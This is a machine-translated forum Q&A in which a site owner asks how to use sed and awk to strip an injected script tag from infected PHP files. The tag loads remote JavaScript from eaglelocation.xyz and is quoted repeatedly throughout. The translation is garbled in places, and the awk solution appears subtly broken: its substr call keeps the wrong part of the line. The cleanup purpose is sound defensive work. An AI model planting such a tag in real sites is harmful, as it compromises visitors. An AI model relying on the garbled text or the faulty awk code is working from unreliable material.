试图匹配sed命令中的特定字符串



有人设法通过以下代码感染了我的许多文件:

<script type='text/javascript' async src='https://eaglelocation.xyz/ds.js&'></script>

脚本标签已被预先添加到许多.php文件中。我正在尝试使用sed命令来修复这些文件。即使在在线正则表达测试仪中,我的模式也不匹配。这就是我所拥有的:

sed '/<script type='text/javascript' async src='https://eaglelocation.xyz/ds.js&'></script>/d' index.php

仅提供更多信息,脚本标签已在文件的顶部进行了预先预读,并且也连接到开放式PHP标签,例如</script><?php

您的sed使用情况有多个问题:

  • 您将单引号作为模式定界符和JS代码的一部分混合在一起。将双引号用作图案包装纸。
  • 您在模式中逃脱了太多。为了更容易理解,我将%而不是/用作模式定界符
  • 由于恶意代码可能与好代码相同,因此我不使用 d sed命令,而是用 s(替换(用 -i(in nor Alim(

请参阅下文:

$ cat test.php
<script type='text/javascript' async src='https://eaglelocation.xyz/ds.js&'></script><?php
echo '<p>Hello World</p>'; ?>
$ sed -i  "s%<script type='text/javascript' async src='https://eaglelocation.xyz/ds.js&'></script>%%"  test.php
$ cat test.php
<?php
echo '<p>Hello World</p>'; ?>

sed不了解字面的字符串(请参阅可以可靠地逃脱正双向元素(,但尴尬确实如此。如果在单行上,则删除字符串:

<script type='text/javascript' async src='https://eaglelocation.xyz/ds.js&'></script>

来自文件是:

awk '
    BEGIN { str=ARGV[1]; ARGV[1]="" }
    s=index($0,str) { $0=substr($0,s-1) substr($0,s+length(str)) }
1' "<script type='text/javascript' async src='https://eaglelocation.xyz/ds.js&'></script>" file

使用gnu awk进行" Inplace"编辑的所有.php文件,将是:

find . -type f -name '*.php' -exec 
awk -i inplace '
    BEGIN { str=ARGV[1]; ARGV[1]="" }
    s=index($0,str) { $0=substr($0,s-1) substr($0,s+length(str)) }
1' "<script type='text/javascript' async src='https://eaglelocation.xyz/ds.js&'></script>" {} +

最新更新